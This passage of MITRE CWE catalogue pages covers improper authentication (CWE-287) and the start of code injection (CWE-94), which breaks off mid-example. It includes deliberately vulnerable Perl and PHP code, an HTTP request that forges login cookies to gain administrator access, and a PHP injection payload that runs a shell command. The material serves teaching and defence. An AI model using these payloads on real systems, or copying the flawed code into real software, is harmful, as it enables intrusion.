MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.717OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Maintenance

As a result of mapping analysis in the 2020 Top 25, this weakness is under review, since it is frequently misused in mapping to cover many problems that lead to loss of confidentiality. See Extended Decription and Alternate Terms.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInformation Leak (information disclosure)
OWASP Top Ten 2007A6CWE More SpecificInformation Leakage and Improper Error Handling
WASC13Information Leakage
+ References
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2009-12-28CWE Content TeamMITRE
updated Alternate_Terms, Description, Name
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, References
2014-06-23CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Related_Attack_Patterns, Relationships, Weakness_Ordinalities
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Alternate_Terms, Description, Maintenance_Notes, Related_Attack_Patterns, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak (Information Disclosure)
2020-02-24Information Exposure

CWE-287: Improper Authentication

Weakness ID: 287
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.
+ Alternate Terms
authentification:
An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.
AuthC:
"AuthC" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.261Weak Encoding for Password
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.262Not Using Password Aging
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.263Password Aging with Long Expiration
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.288Authentication Bypass Using an Alternate Path or Channel
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.289Authentication Bypass by Alternate Name
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.290Authentication Bypass by Spoofing
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.294Authentication Bypass by Capture-replay
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.301Reflection Attack in an Authentication Protocol
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.302Authentication Bypass by Assumed-Immutable Data
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.303Incorrect Implementation of Authentication Algorithm
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.304Missing Critical Step in Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.305Authentication Bypass by Primary Weakness
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.306Missing Authentication for Critical Function
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.307Improper Restriction of Excessive Authentication Attempts
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.308Use of Single-factor Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.309Use of Password System for Primary Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.521Weak Password Requirements
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.593Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.603Use of Client-Side Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.620Unverified Password Change
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.640Weak Password Recovery Mechanism for Forgotten Password
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.645Overly Restrictive Account Lockout Mechanism
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.804Guessable CAPTCHA
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.836Use of Password Hash Instead of Password for Authentication
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.613Insufficient Session Expiration
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.290Authentication Bypass by Spoofing
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.294Authentication Bypass by Capture-replay
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.306Missing Authentication for Critical Function
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.307Improper Restriction of Excessive Authentication Attempts
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.521Weak Password Requirements
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.640Weak Password Recovery Mechanism for Forgotten Password
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Read Application Data; Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(bad code)
Example Language: Perl 
my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("Error: you need to log in first");
}
else {
# Set loggedin and user cookies.
$q->cookie(
-name => 'loggedin',
-value => 'true'
);

$q->cookie(
-name => 'user',
-value => $q->param('username')
);
}
}

if ($q->cookie('user') eq "Administrator") {
DoAdministratorTasks();
}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(attack code)
 
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <http://www.wired.com/threatlevel/2009/01/professed-twitt/>.
+ Observed Examples
ReferenceDescription
login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
product uses default "Allow" action, instead of default deny, leading to authentication bypass.
chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
product does not properly implement a security-related configuration setting, allowing authentication bypass.
authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: High

+ Functional Areas
  • Authentication
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.718OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.812OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Relationship

This can be resultant from SQL injection vulnerabilities and other issues.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Error
OWASP Top Ten 2007A7CWE More SpecificBroken Authentication and Session Management
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
WASC1Insufficient Authentication
+ References
[REF-237] OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. <http://www.owasp.org/index.php/Top_10_2007-A7>.
[REF-238] OWASP. "Guide to Authentication". <http://www.owasp.org/index.php/Guide_to_Authentication>.
[REF-239] Microsoft. "Authentication". <http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2009-01-12CWE Content TeamMITRE
updated Name
2009-05-27CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Authentication Issues
2009-01-12Insufficient Authentication

CWE-94: Improper Control of Generation of Code ('Code Injection')

Weakness ID: 94
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
+ Extended Description

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.95Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.96Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Interpreted (Sometimes Prevalent)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.
Access Control

Technical Impact: Gain Privileges or Assume Identity

Injected code can access resources that the attacker is directly prevented from accessing.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.
Non-Repudiation

Technical Impact: Hide Activities

Often the actions performed by injected control code are unlogged.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example attempts to write user messages to a message file and allow users to view them.

(bad code)
Example Language: PHP 
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
$name = $_GET["name"];
$message = $_GET["message"];
$handle = fopen($MessageFile, "a+");
fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
fclose($handle);
echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
include($MessageFile);
}

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

(attack code)
 
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E

which will decode to the following:

(attack code)
 
<?php system("/bin/ls -l");?>

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Example 2

edit-config.pl: This CGI script is used to modify settings in a configuration file.

(bad code)
Example Language: Perl 
use CGI qw(:standard);

sub config_file_add_key {
my ($fname, $key, $arg) = @_;

# code to add a field/key to a file goes here
}

sub config_file_set_key {
